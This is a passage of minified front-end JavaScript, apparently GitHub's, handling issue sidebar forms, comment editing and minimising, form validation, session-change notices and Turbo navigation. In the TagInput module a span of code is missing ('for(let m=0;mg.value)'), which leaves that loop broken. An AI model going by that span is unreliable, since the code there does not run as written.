t=e.currentTarget,n=t.closest(".js-issue-sidebar-form")||t.querySelector(".js-issue-sidebar-form");nt(n)}s(Kr,"submitOnMenuClose"),(0,c.on)("details-menu-selected",".js-discussion-sidebar-menu",function(e){const t=e.detail.relatedTarget,n=e.currentTarget,o=t.closest(".js-issue-sidebar-form"),r=n.hasAttribute("data-multiple");if(t.hasAttribute("data-clear-assignees")){const i=n.querySelectorAll('input[name="issue[user_assignee_ids][]"]:checked');for(const a of i)a.disabled=!1,a.checked=!1;nt(o)}else r?n.closest("details").addEventListener("toggle",Kr,{once:!0}):nt(o)},{capture:!0});function $l(e,t){e.replaceWith((0,q.r)(document,t))}s($l,"updateSidebar");function Vr(e){const t=document.querySelector(`[data-menu-trigger="${e}"]`);t==null||t.focus()}s(Vr,"returnFocusToTrigger"),(0,C.AC)(".js-issue-sidebar-form",async function(e,t){var n;const o=await t.html(),r=e.closest(".js-discussion-sidebar-item"),i=(n=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:n.getAttribute("id");r.replaceWith(o.html),i&&Vr(i)}),(0,c.on)("click","div.js-issue-sidebar-form .js-suggested-reviewer",function(e){const t=e.currentTarget,n=t.closest(".js-issue-sidebar-form");Pt(n,"post",{name:t.name,value:t.value}),e.preventDefault()}),(0,c.on)("click","div.js-issue-sidebar-form .js-issue-assign-self",function(e){var t;const n=e.currentTarget,o=n.closest(".js-issue-sidebar-form");Pt(o,"post",{name:n.name,value:n.value}),n.remove(),(t=document.querySelector("form#new_issue .is-submit-button-value"))==null||t.remove(),e.preventDefault()}),(0,c.on)("click",".js-issue-unassign-self",function(e){const t=e.currentTarget.closest(".js-issue-sidebar-form");Pt(t,"delete"),e.preventDefault()}),(0,C.AC)(".js-pages-preview-toggle-form",async function(e,t){const n=await t.json();e.querySelector("button.btn").textContent=n.json.new_button_value});function Fl(e,t){const n=e.getAttribute("data-cache-name");return`${t}:sidebar:${n}`}s(Fl,"getCacheKey");function Ul(e,t,n){const o=e.getAttribute("data-cache-name");if(!o)return;const r=[];for(const[a,l]of t.entries())a.indexOf(o)!==-1&&r.push([a,l]);const i=r.filter(a=>a[1]!=="");i.length>0?sessionStorage.setItem(n,JSON.stringify(i)):sessionStorage.removeItem(n)}s(Ul,"cacheValues");const _t=new Set;function Xr(){_t.clear()}s(Xr,"clearHasFired");async function Wl(e,t){const n=e.getAttribute("data-cache-name"),o=sessionStorage.getItem(t);if(!n||!o||_t.has(n))return;_t.add(n);const r=JSON.parse(o),i=[];for(const[a,l]of r){if(Object.prototype.toString.call(l)!=="[object String]")continue;const y=document.createElement("input");y.type="hidden",y.value=l,y.name=a,e.appendChild(y),i.push(y)}try{await Zr(e);for(const a of i)a.remove()}catch{_t.delete(n)}}s(Wl,"restoreCachedValues");let Gr=!1;function Pn(e,t){if(Gr)return;const n=In(e);Ul(e,n,t),Xr()}s(Pn,"cacheValuesOnHide"),(0,u.N7)("[data-cacher]",{add(e){const t=Fl(e,(0,xe.e)());Wl(e,t),window.addEventListener("pagehide",()=>Pn(e,t)),window.addEventListener("pjax:beforeReplace",()=>Pn(e,t)),window.addEventListener("turbo:before-visit",()=>Pn(e,t)),window.addEventListener("submit",n=>{n.defaultPrevented||(Gr=!0,setTimeout(()=>{for(const o of Object.keys(sessionStorage))o.indexOf(t)!==-1&&(sessionStorage.removeItem(o),Xr())},0))},{capture:!0})}});async function Pt(e,t="post",n){var o;await Zr(e,t,n);const r=e.closest(".js-discussion-sidebar-item"),i=(o=r==null?void 0:r.querySelector(".select-menu"))==null?void 0:o.getAttribute("id");i&&Vr(i)}s(Pt,"previewSubmit");async function Zr(e,t="post",n){const o=In(e);n&&o.append(n.name,n.value);const r=e.getAttribute("data-url");if(!r)return;const i=e.querySelector(".js-data-url-csrf"),a=await fetch(r,{method:t,body:t==="delete"?"":o,mode:"same-origin",headers:{"Scoped-CSRF-Token":i.value,"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;const l=await a.text();$l(e.closest(".js-discussion-sidebar-item"),l)}s(Zr,"requestPreview");function zl(e){const t=e.getAttribute("data-reviewers-team-size-check-url");if(!t)return!1;const n=[...document.querySelectorAll(".js-reviewer-team")].map(l=>l.getAttribute("data-id")),o=e instanceof HTMLFormElement?new FormData(e):In(e),i=new URLSearchParams(o).getAll("reviewer_team_ids[]").filter(l=>!n.includes(l));if(i.length===0)return!1;const a=new URLSearchParams(i.map(l=>["reviewer_team_ids[]",l]));return Kl(e,`${t}?${a}`),!0}s(zl,"reviewerTeamsCheckRequired");async function Kl(e,t){const n=await fetch(t);if(!n.ok)return;const o=await n.text();if(o.match(/[^\w-]js-large-team[^\w-]/))Vl(e,o);else{nt(e,!0);return}}s(Kl,"triggerTeamReviewerCheck");function Vl(e,t){const n=e.querySelector(".js-large-teams-check-warning-container");for(;n.firstChild;)n.removeChild(n.firstChild);n.appendChild((0,q.r)(document,t));const o=n.querySelector("details");function r(i){if(i.target instanceof Element){if(o.open=!1,!i.target.classList.contains("js-large-teams-confirm-button")){const a=e.querySelectorAll("input[name='reviewer_team_ids[]']");for(const l of a)n.querySelector(`.js-large-team[data-id='${l.value}']`)&&(l.checked=!1)}nt(e,!0),i.preventDefault()}}s(r,"dialogAction"),n.querySelector(".js-large-teams-confirm-button").addEventListener("click",r,{once:!0}),n.querySelector(".js-large-teams-cancel-button").addEventListener("click",r,{once:!0}),o.addEventListener("details-dialog-close",r,{once:!0}),o.open=!0}s(Vl,"showTeamReviewerConfirmationDialog"),(0,c.on)("click","div.js-project-column-menu-container .js-project-column-menu-item button",async function(e){const t=e.currentTarget;Xl(t);const n=t.getAttribute("data-url"),o=t.parentElement.querySelector(".js-data-url-csrf"),r=t.getAttribute("data-card-id"),i=new FormData;if(i.append("card_id",r),i.append("use_automation_prioritization","true"),e.preventDefault(),!(await fetch(n,{method:"PUT",mode:"same-origin",body:i,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)return;const l=document.activeElement,y=t.closest(".js-project-column-menu-dropdown");if(l&&y.contains(l))try{l.blur()}catch{}});function Xl(e){const n=e.closest(".js-project-column-menu-dropdown").querySelector(".js-project-column-menu-summary"),o=e.getAttribute("data-column-name");n.textContent=o}s(Xl,"updateProjectColumnMenuSummary"),(0,c.on)("click",".js-prompt-dismiss",function(e){e.currentTarget.closest(".js-prompt").remove()});function In(e){const t=e.closest("form");if(!t)return new FormData;const o=new FormData(t).entries(),r=new FormData;for(const[i,a]of o)t.contains(Gl(t,i,a.toString()))&&r.append(i,a);return r}s(In,"scopedFormData");function Gl(e,t,n){for(const o of e.elements)if((o instanceof HTMLInputElement||o instanceof HTMLTextAreaElement||o instanceof HTMLButtonElement)&&o.name===t&&o.value===n)return o;return null}s(Gl,"findParam"),(0,c.on)("click",".js-convert-to-draft",function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.parentElement.querySelector(".js-data-url-csrf");fetch(t,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":n.value,"X-Requested-With":"XMLHttpRequest"}})}),(0,c.on)("click","div.js-restore-item",async function(e){const t=e.currentTarget.getAttribute("data-url"),n=e.currentTarget.getAttribute("data-column"),o=e.currentTarget.querySelector(".js-data-url-csrf"),r=new FormData;if(r.set("memexProjectItemIds[]",n),!(await fetch(t,{method:"PUT",mode:"same-origin",body:r,headers:{"Scoped-CSRF-Token":o.value,"X-Requested-With":"XMLHttpRequest"}})).ok)throw new Error("connection error");Kr(e)})},22485:($,D,f)=>{"use strict";f.d(D,{N:()=>C,x:()=>_});var T=f(7739);let c=null;(async function(){await T.x,x()})();function C(g){_(u(g))}s(C,"announceFromElement");function _(g){!c||(c.textContent="",c.textContent=g)}s(_,"announce");function x(){c=document.createElement("div"),c.setAttribute("aria-live","polite"),c.classList.add("sr-only"),document.body.append(c)}s(x,"createNoticeContainer");function u(g){return(g.getAttribute("aria-label")||g.innerText||"").trim()}s(u,"getTextContent")},51989:($,D,f)=>{"use strict";f.d(D,{s:()=>h});var T=f(90420),c=f(12981);class C{constructor(b=50,v=30){this.elements=[],this.timer=null,this.callbacks=[],this.timeout=b,this.limit=v,this.index=0}push(b){const v=`item-${this.index++}`;return this.timer&&(window.clearTimeout(this.timer),this.timer=null),this.elements.length>=this.limit&&this.flush(),this.timer=window.setTimeout(()=>{this.timer=null,this.flush()},this.timeout),this.elements.push([b,v]),v}onFlush(b){this.callbacks.push(b)}async flush(){const b=this.elements.splice(0,this.limit);b.length!==0&&await Promise.all(this.callbacks.map(v=>v(b)))}}s(C,"AutoFlushingQueue");class _{constructor(b,v){this.url=b,this.callbacks=new Map,this.autoFlushingQueue=new C,this.autoFlushingQueue.onFlush(async L=>{this.load(L)}),this.validate=v}loadInBatch(b){const v=this.autoFlushingQueue.push(b);return new Promise(L=>this.callbacks.set(v,L))}async load(b){const v=new Map;for(const[E,A]of b)v.set(A,E);const L=new FormData;L.set("_method","GET");for(const[E,A]of v.entries())for(const k of A.inputs)L.append(`items[${E}][${k.name}]`,k.value);const q=await fetch(this.url,{method:"POST",body:L,headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}});if(q.ok){const E=await q.json();if(!E||typeof E!="object"||Array.isArray(E))throw new Error("Malformed batch response");for(const A in E){const k=this.callbacks.get(A);if(k){const j=E[A];this.validate(j),k(j)}}}}}s(_,"BatchLoader");var x=Object.defineProperty,u=Object.getOwnPropertyDescriptor,g=s((p,b,v,L)=>{for(var q=L>1?void 0:L?u(b,v):b,E=p.length-1,A;E>=0;E--)(A=p[E])&&(q=(L?A(b,v,q):A(q))||q);return L&&q&&x(b,v,q),q},"__decorateClass");class h extends HTMLElement{async connectedCallback(){const b=await this.batchLoader.loadInBatch(this);this.update(b)}get batchLoader(){const b=this.getAttribute("data-url");if(!b)throw new Error(`${this.tagName} element requires a data-url attribute`);let v=this.batchLoaders.get(b);return v||(v=new _(b,L=>this.validate(L)),this.batchLoaders.set(b,v)),v}}s(h,"BaseBatchDeferredContentElement");const d=new Map;let m=s(class extends h{constructor(){super(...arguments);this.batchLoaders=d}validate(p){if(typeof p!="string")throw new Error("Batch deferred content was not a string")}update(p){const b=(0,c.r)(document,p);this.replaceWith(b)}},"BatchDeferredContentElement");g([T.GO],m.prototype,"inputs",2),m=g([T.Ih],m)},41415:()=>{let $,D=!1;function f(){$=document.activeElement,document.body&&document.body.classList.toggle("intent-mouse",D)}s(f,"setClass"),document.addEventListener("mousedown",function(){D=!0,$===document.activeElement&&f()},{capture:!0}),document.addEventListener("keydown",function(){D=!1},{capture:!0}),document.addEventListener("focusin",f,{capture:!0})},90458:($,D,f)=>{"use strict";f.d(D,{OD:()=>u,Qc:()=>g,nz:()=>x});var T=f(40764),c=f(45075);function C(h,d,m){const p=m.closest(".js-characters-remaining-container");if(!p)return;const b=p.querySelector(".js-characters-remaining"),v=String(b.getAttribute("data-suffix")),L=(0,T.rq)(h),q=d-L;q<=20?(b.textContent=`${q} ${v}`,b.classList.toggle("color-fg-danger",q<=5),b.hidden=!1):b.hidden=!0}s(C,"showRemainingCharacterCount");function _(h){return h.hasAttribute("data-maxlength")?parseInt(h.getAttribute("data-maxlength")||""):h.maxLength}s(_,"getFieldLimit");function x(h){const d=_(h),m=(0,T.rq)(h.value);return d-m<0}s(x,"hasExceededCharacterLimit");function u(h){const d=_(h);C(h.value,d,h)}s(u,"updateInputRemainingCharacters");function g(h){const d=h.querySelectorAll(".js-characters-remaining-container");for(const m of d){const p=m.querySelector(".js-characters-remaining-field");u(p)}}s(g,"resetCharactersRemainingCounts"),(0,c.ZG)(".js-characters-remaining-field",function(h){function d(){(h instanceof HTMLInputElement||h instanceof HTMLTextAreaElement)&&u(h)}s(d,"onInput"),d(),h.addEventListener("input",d),h.addEventListener("blur",()=>{h.removeEventListener("input",d)},{once:!0})})},2641:($,D,f)=>{"use strict";f.d(D,{z:()=>v});var T=f(59753),c=f(12737),C=f(29719),_=f(6741),x=f(55741),u=f(64463),g=f(65935),h=f(78965);let d=[];(0,u.N7)(".js-comment-header-actions-deferred-include-fragment",{subscribe:E=>(0,_.RB)(E,"loadstart",()=>{const A=E.closest(".js-comment");b(A)},{capture:!1,once:!0})}),(0,u.N7)(".js-comment .contains-task-list",{add:E=>{const A=E.closest(".js-comment");b(A)}}),(0,T.on)("click",".js-comment-edit-button",function(E){const A=E.currentTarget.closest(".js-comment");A.classList.add("is-comment-editing");const k=p(A);k?k.addEventListener("include-fragment-replaced",()=>m(A),{once:!0}):m(A);const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")});function m(E){E.querySelector(".js-write-tab").click();const A=E.querySelector(".js-comment-field");A.focus(),(0,T.f)(A,"change")}s(m,"focusEditForm");function p(E){return E.querySelector(".js-comment-edit-form-deferred-include-fragment")}s(p,"findEditFormDeferredIncludeFragment");function b(E){var A;(A=p(E))==null||A.setAttribute("loading","eager")}s(b,"loadEditFormDeferredIncludeFragment"),(0,T.on)("click",".js-comment-hide-button",function(E){const A=E.currentTarget.closest(".js-comment");q(A,!1);const k=A.querySelector(".js-minimize-comment");k&&k.classList.remove("d-none");const j=E.currentTarget.closest(".js-dropdown-details");j&&j.removeAttribute("open")}),(0,T.on)("click",".js-comment-hide-minimize-form",function(E){E.currentTarget.closest(".js-minimize-comment").classList.add("d-none")});function v(E){const A=E.currentTarget.closest("form"),k=E.currentTarget.getAttribute("data-confirm-text");if((0,x.T)(A)&&!confirm(k))return!1;for(const P of A.querySelectorAll("input, textarea")){const M=P;M.value=M.defaultValue,M.classList.contains("session-resumable-canceled")&&(M.classList.add("js-session-resumable"),M.classList.remove("session-resumable-canceled"))}const j=E.currentTarget.closest(".js-comment");return j&&j.classList.remove("is-comment-editing"),!0}s(v,"handleCommentCancelButtonClick"),(0,T.on)("click",".js-comment-cancel-button",v),(0,T.on)("click",".js-cancel-issue-edit",function(E){const A=E.currentTarget.closest(".js-details-container");A.querySelector(".js-comment-form-error").hidden=!0}),(0,g.AC)(".js-comment-delete, .js-comment .js-comment-update, .js-issue-update, .js-comment-minimize, .js-comment-unminimize",function(E,A,k){const j=E.closest(".js-comment");j.classList.add("is-comment-loading");const P=j.getAttribute("data-body-version");P&&k.headers.set("X-Body-Version",P)}),(0,g.AC)(".js-comment .js-comment-update",async function(E,A){let k;const j=E.closest(".js-comment"),P=j.querySelector(".js-comment-update-error"),M=j.querySelector(".js-comment-body-error");P instanceof HTMLElement&&(P.hidden=!0),M instanceof HTMLElement&&(M.hidden=!0),d=[];try{k=await A.json()}catch(W){if(W.response.status===422){const U=JSON.parse(W.response.text);if(U.errors){P instanceof HTMLElement&&(P.textContent=`There was an error posting your comment: ${U.errors.join(", ")}`,P.hidden=!1);return}}else throw W}if(!k)return;const O=k.json;O.errors&&O.errors.length>0&&(d=O.errors,L(M));const V=j.querySelector(".js-comment-body");V&&O.body&&(V.innerHTML=O.body),j.setAttribute("data-body-version",O.newBodyVersion);const H=j.querySelector(".js-body-version");H instanceof HTMLInputElement&&(H.value=O.newBodyVersion);const N=j.querySelector(".js-discussion-poll");N&&O.poll&&(N.innerHTML=O.poll);for(const W of j.querySelectorAll("input, textarea")){const U=W;U.defaultValue=U.value}j.classList.remove("is-comment-stale","is-comment-editing");const K=j.querySelector(".js-comment-edit-history");if(K){const W=await(0,C.a)(document,O.editUrl);K.innerHTML="",K.append(W)}}),(0,u.N7)(".js-comment-body-error",{add:E=>{d&&d.length>0&&L(E)}});function L(E){const A=E.querySelector("ol");if(A){A.innerHTML="";const k=d.map(j=>{const P=document.createElement("li");return P.textContent=j,P});for(const j of k)A.appendChild(j)}E.hidden=!1}s(L,"showBodyErrors"),(0,g.AC)(".js-comment .js-comment-delete, .js-comment .js-comment-update, .js-comment-minimize, .js-comment-unminimize",async function(E,A){const k=E.closest(".js-comment");try{await A.text()}catch(j){if(j.response.status===422){let P;try{P=JSON.parse(j.response.text)}catch{}P&&P.stale&&k.classList.add("is-comment-stale")}else throw j}k.classList.remove("is-comment-loading")});function q(E,A){const k=E.querySelector(".js-comment-show-on-error");k&&(k.hidden=!A);const j=E.querySelector(".js-comment-hide-on-error");j&&(j.hidden=A)}s(q,"toggleMinimizeError"),(0,g.AC)(".js-timeline-comment-unminimize, .js-timeline-comment-minimize",async function(E,A){const k=E.closest(".js-minimize-container");try{const j=await A.html();k.replaceWith(j.html)}catch{q(k,!0)}}),(0,g.AC)(".js-discussion-comment-unminimize, .js-discussion-comment-minimize",async function(E,A){const k=E.closest(".js-discussion-comment"),j=k.querySelector(".js-discussion-comment-error");j&&(j.hidden=!0);try{const P=await A.html();k.replaceWith(P.html)}catch(P){if(P.response.status>=400&&P.response.status<500){if(P.response.html){const M=P.response.html.querySelector(".js-discussion-comment").getAttribute("data-error");j instanceof HTMLElement&&(j.textContent=M,j.hidden=!1)}}else throw P}}),(0,g.AC)(".js-comment-delete",async function(E,A){await A.json();let k=E.closest(".js-comment-delete-container");k||(k=E.closest(".js-comment-container")||E.closest(".js-line-comments"),k&&k.querySelectorAll(".js-comment").length!==1&&(k=E.closest(".js-comment")));const j=(k==null?void 0:k.closest(".js-comment-container"))||(k==null?void 0:k.closest(".js-line-comments"));if(k==null||k.remove(),j&&j.querySelectorAll(".js-comment").length===1)for(const P of j.querySelectorAll(".js-delete-on-last-reply-deleted"))P.remove()}),(0,g.AC)(".js-issue-update",async function(E,A){var k,j,P;const M=E.closest(".js-details-container"),O=M.querySelector(".js-comment-form-error");let V;try{V=await A.json()}catch(N){O.textContent=((P=(j=(k=N.response)==null?void 0:k.json)==null?void 0:j.errors)==null?void 0:P[0])||"Something went wrong. Please try again.",O.hidden=!1}if(!V)return;M.classList.remove("open"),O.hidden=!0;const H=V.json;if(H.issue_title!=null){M.querySelector(".js-issue-title").textContent=H.issue_title;const N=M.closest(".js-issues-results");if(N){if(N.querySelector(".js-merge-pr.is-merging")){const U=N.querySelector(".js-merge-pull-request textarea");U instanceof HTMLTextAreaElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.issue_title)}else if(N.querySelector(".js-merge-pr.is-squashing")){const U=N.querySelector(".js-merge-pull-request .js-merge-title");U instanceof HTMLInputElement&&U.value===U.defaultValue&&(U.value=U.defaultValue=H.default_squash_commit_title)}const K=N.querySelector("button[value=merge]");K&&K.setAttribute("data-input-message-value",H.issue_title);const W=N.querySelector("button[value=squash]");W&&W.setAttribute("data-input-title-value",H.default_squash_commit_title)}}document.title=H.page_title;for(const N of E.elements)(N instanceof HTMLInputElement||N instanceof HTMLTextAreaElement)&&(N.defaultValue=N.value)}),(0,g.AC)(".js-comment-minimize",async function(E,A){await A.json();const k=E.closest(".js-comment"),j=k.querySelector(".js-minimize-comment");if(j&&j.classList.contains("js-update-minimized-content")){const P=E.querySelector("input[type=submit], button[type=submit]");P&&P.classList.add("disabled");const M=k.closest(".js-comment-container");M&&await(0,h.x0)(M)}else{j&&j.classList.add("d-none");const P=E.closest(".unminimized-comment");P.classList.add("d-none"),P.classList.remove("js-comment");const O=E.closest(".js-minimizable-comment-group").querySelector(".minimized-comment");O&&O.classList.remove("d-none"),O&&O.classList.add("js-comment")}}),(0,g.AC)(".js-comment-unminimize",async function(E,A){await A.json();const k=E.closest(".js-minimizable-comment-group"),j=k.querySelector(".unminimized-comment"),P=k.querySelector(".minimized-comment");if(j)j.classList.remove("d-none"),j.classList.add("js-comment"),P&&P.classList.add("d-none"),P&&P.classList.remove("js-comment");else{if(P){const O=P.querySelector(".timeline-comment-actions");O&&O.classList.add("d-none"),P.classList.remove("js-comment")}const M=k.closest(".js-comment-container");await(0,h.x0)(M)}}),(0,T.on)("details-menu-select",".js-comment-edit-history-menu",E=>{const A=E.detail.relatedTarget.getAttribute("data-edit-history-url");if(!A)return;E.preventDefault();const k=(0,C.a)(document,A);(0,c.W)({content:k,dialogClass:"Box-overlay--wide overflow-visible"})},{capture:!0})},87924:()=>{document.addEventListener("click",function($){if(!($.target instanceof Element))return;const D="a[data-confirm], input[type=submit][data-confirm], input[type=checkbox][data-confirm], button[data-confirm]",f=$.target.closest(D);if(!f)return;const T=f.getAttribute("data-confirm");!T||f instanceof HTMLInputElement&&f.hasAttribute("data-confirm-checked")&&!f.checked||confirm(T)||($.stopImmediatePropagation(),$.preventDefault())},!0)},33948:($,D,f)=>{"use strict";f.d(D,{Z:()=>_});var T=f(7739);const c=[];let C=0;function _(d){(async function(){c.push(d),await T.x,x()})()}s(_,"hashChange"),_.clear=()=>{c.length=C=0};function x(){const d=C;C=c.length,u(c.slice(d),null,window.location.href)}s(x,"runRemainingHandlers");function u(d,m,p){const b=window.location.hash.slice(1),v=b?document.getElementById(b):null,L={oldURL:m,newURL:p,target:v};for(const q of d)q.call(null,L)}s(u,"runHandlers");let g=window.location.href;window.addEventListener("popstate",function(){g=window.location.href}),window.addEventListener("hashchange",function(d){const m=window.location.href;try{u(c,d.oldURL||g,m)}finally{g=m}});let h=null;document.addEventListener("pjax:start",function(){h=window.location.href}),document.addEventListener("pjax:end",function(){u(c,h,window.location.href)})},52641:($,D,f)=>{"use strict";f.d(D,{G:()=>h});var T=f(45075),c=f(64463),C=f(59753);const _=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function x(d){const m=d.getAttribute("data-required-value"),p=d.getAttribute("data-required-value-prefix");if(d.value===m)d.setCustomValidity("");else{let b=m;p&&(b=p+b),d.setCustomValidity(b)}}s(x,"checkValidityForRequiredValueField"),(0,T.q6)("[data-required-value]",function(d){const m=d.currentTarget;x(m)}),(0,C.on)("change","[data-required-value]",function(d){const m=d.currentTarget;x(m),h(m.form)}),(0,T.q6)("[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity("")}),(0,C.on)("change","[data-required-trimmed]",function(d){const m=d.currentTarget;m.value.trim()===""?m.setCustomValidity(m.getAttribute("data-required-trimmed")):m.setCustomValidity(""),h(m.form)}),(0,T.ZG)(_,d=>{let m=d.checkValidity();function p(){const b=d.checkValidity();b!==m&&d.form&&h(d.form),m=b}s(p,"inputHandler"),d.addEventListener("input",p),d.addEventListener("blur",s(function b(){d.removeEventListener("input",p),d.removeEventListener("blur",b)},"blurHandler"))});const u=new WeakMap;function g(d){u.get(d)||(d.addEventListener("change",()=>h(d)),u.set(d,!0))}s(g,"installHandlers");function h(d){const m=d.checkValidity();for(const p of d.querySelectorAll("button[data-disable-invalid]"))p.disabled=!m}s(h,"validate"),(0,c.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const m=d.form;m&&(g(m),d.disabled=!m.checkValidity())}}),(0,c.N7)("input[data-required-change], textarea[data-required-change]",function(d){const m=d,p=m.type==="radio"&&m.form?m.form.elements.namedItem(m.name).value:null;function b(v){const L=m.form;if(v&&m.type==="radio"&&L&&p)for(const q of L.elements.namedItem(m.name))q instanceof HTMLInputElement&&q.setCustomValidity(m.value===p?"unchanged":"");else m.setCustomValidity(m.value===(p||m.defaultValue)?"unchanged":"")}s(b,"customValidity"),m.addEventListener("input",b),m.addEventListener("change",b),b(),m.form&&h(m.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const m=d.target;setTimeout(()=>h(m))}})},11724:()=>{document.addEventListener("pjax:click",function($){if(window.onbeforeunload)return $.preventDefault()})},17300:($,D,f)=>{"use strict";f.d(D,{k:()=>x});var T=f(6741),c=f(7739),C=f(64463),_=f(75371);(0,C.N7)(".js-responsive-underlinenav",{constructor:HTMLElement,subscribe:h=>(x(h),(0,T.RB)(window,"resize",()=>g(h)))});async function x(h){await c.C,g(h)}s(x,"asyncCalculateVisibility");function u(h,d){h.style.visibility=d?"hidden":"";const m=h.getAttribute("data-tab-item");if(m){const p=document.querySelector(`[data-menu-item=${m}]`);p instanceof HTMLElement&&(p.hidden=!d)}}s(u,"toggleItem");function g(h){const d=h.querySelectorAll(".js-responsive-underlinenav-item"),m=h.querySelector(".js-responsive-underlinenav-overflow"),p=(0,_.oE)(m,h);if(!p)return;let b=!1;for(const v of d){const L=(0,_.oE)(v,h);if(L){const q=L.left+v.offsetWidth>=p.left;u(v,q),b=b||q}}m.style.visibility=b?"":"hidden"}s(g,"calculateVisibility")},41928:()=>{function $(T){const c=document.querySelector(".js-stale-session-flash"),C=c.querySelector(".js-stale-session-flash-signed-in"),_=c.querySelector(".js-stale-session-flash-signed-out");c.hidden=!1,C.hidden=T==="false",_.hidden=T==="true",window.addEventListener("popstate",function(x){x.state&&x.state.container!=null&&location.reload()}),document.addEventListener("submit",function(x){x.preventDefault()})}s($,"sessionChanged");let D;if(typeof BroadcastChannel=="function")try{D=new BroadcastChannel("stale-session"),D.onmessage=T=>{typeof T.data=="string"&&$(T.data)}}catch{}if(!D){let T=!1;D={postMessage(c){T=!0;try{window.localStorage.setItem("logged-in",c)}finally{T=!1}}},window.addEventListener("storage",function(c){if(!T&&c.storageArea===window.localStorage&&c.key==="logged-in")try{(c.newValue==="true"||c.newValue==="false")&&$(c.newValue)}finally{window.localStorage.removeItem(c.key)}})}const f=document.querySelector(".js-stale-session-flash[data-signedin]");if(f){const T=f.getAttribute("data-signedin")||"";D.postMessage(T)}},32222:($,D,f)=>{"use strict";var T=f(11793),c=f(59753),C=f(64463);class _{constructor(u){this.container=u.container,this.selections=u.selections,this.inputWrap=u.inputWrap,this.input=u.input,this.tagTemplate=u.tagTemplate,this.form=this.input.form,this.autoComplete=u.autoComplete,this.multiTagInput=u.multiTagInput}setup(){this.container.addEventListener("click",u=>{u.target.closest(".js-remove")?this.removeTag(u):this.onFocus()}),this.input.addEventListener("focus",this.onFocus.bind(this)),this.input.addEventListener("blur",this.onBlur.bind(this)),this.input.addEventListener("keydown",this.onKeyDown.bind(this)),this.form.addEventListener("submit",this.onSubmit.bind(this)),this.autoComplete.addEventListener("auto-complete-change",()=>{this.selectTag(this.autoComplete.value)})}onFocus(){this.inputWrap.classList.add("focus"),this.input!==document.activeElement&&this.input.focus()}onBlur(){this.inputWrap.classList.remove("focus"),this.autoComplete.open||this.onSubmit()}onSubmit(){this.input.value&&(this.selectTag(this.input.value),this.autoComplete.open=!1)}onKeyDown(u){switch((0,T.EL)(u)){case"Backspace":this.onBackspace();break;case"Enter":case"Tab":this.taggifyValueWhenSuggesterHidden(u);break;case",":case" ":this.taggifyValue(u);break}}taggifyValueWhenSuggesterHidden(u){!this.autoComplete.open&&this.input.value&&(u.preventDefault(),this.selectTag(this.input.value))}taggifyValue(u){this.input.value&&(u.preventDefault(),this.selectTag(this.input.value),this.autoComplete.open=!1)}selectTag(u){const g=this.normalizeTag(u),h=this.selectedTags();let d=!1;for(let m=0;mg.value).filter(g=>g.length>0)}}s(_,"TagInput"),(0,C.N7)(".js-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!1}).setup()}}),(0,C.N7)(".js-multi-tag-input-container",{constructor:HTMLElement,initialize(x){new _({container:x,inputWrap:x.querySelector(".js-tag-input-wrapper"),input:x.querySelector('input[type="text"], input:not([type])'),selections:x.querySelector(".js-tag-input-selected-tags"),tagTemplate:x.querySelector(".js-template"),autoComplete:x.querySelector("auto-complete"),multiTagInput:!0}).setup()}})},53412:($,D,f)=>{"use strict";f.d(D,{H:()=>_});var T=f(29946),c=f(49815),C=f(11190);if((0,c.c)("TURBO")){(async()=>{const{PageRenderer:u,session:g,navigator:h}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395)),d=g.adapter;function m(){d.progressBar.setValue(0),d.progressBar.show()}s(m,"beginProgressBar");function p(){d.progressBar.setValue(1),d.progressBar.hide()}s(p,"completeProgressBar"),document.addEventListener("turbo:before-fetch-request",q=>{const E=q.target;if(_(E)&&m(),(E==null?void 0:E.tagName)==="HTML"){const k=q;k.detail.fetchOptions.headers["Turbo-Visit"]="true"}const A=(0,C.I)(q.detail.url.pathname);if(A){const k=new URLSearchParams(q.detail.url.search);for(const[j,P]of Object.entries(A))P&&k.set(j,P);q.detail.url.search=k.toString()}}),document.addEventListener("turbo:frame-render",q=>{_(q.target)&&p()}),document.addEventListener(T.QE.START,m),document.addEventListener(T.QE.END,p);const b=Object.getOwnPropertyDescriptor(u.prototype,"reloadReason").get;Object.defineProperty(u.prototype,"reloadReason",{get(){const q=b.call(this);if(q.reason!=="tracked_element_mismatch")return q;const E=Object.fromEntries(v(this.currentHeadSnapshot)),A=[];for(const[k,j]of v(this.newHeadSnapshot))E[k]!==j&&A.push(k.replace(/^x-/,"").replaceAll("-","_"));return{reason:`tracked_element_mismatch-${A.join("-")}`}}});function*v(q){for(const E of Object.values(q.detailsByOuterHTML))if(E.tracked)for(const A of E.elements)A instanceof HTMLMetaElement&&A.getAttribute("http-equiv")&&(yield[A.getAttribute("http-equiv")||"",A.getAttribute("content")||""])}s(v,"getSnapshotSignatures");function L(q){const E=history[q];history[q]=function(A,k,j){var P;function M(O,V,H){E.call(this,{...A,...O},V,H)}s(M,"oldHistoryWithMergedState"),h.history.update(M,new URL(j||location.href,location.href),(P=A==null?void 0:A.turbo)==null?void 0:P.restorationIdentifier)}}s(L,"patchHistoryApi"),L("replaceState"),L("pushState")})();const x=s((u,g)=>{const h=new URL(u,window.location.origin),d=new URL(g,window.location.origin);return Boolean(d.hash)&&h.hash!==d.hash&&h.host===d.host&&h.pathname===d.pathname&&h.search===d.search},"isHashNavigation");document.addEventListener("turbo:click",function(u){if(!(u.target 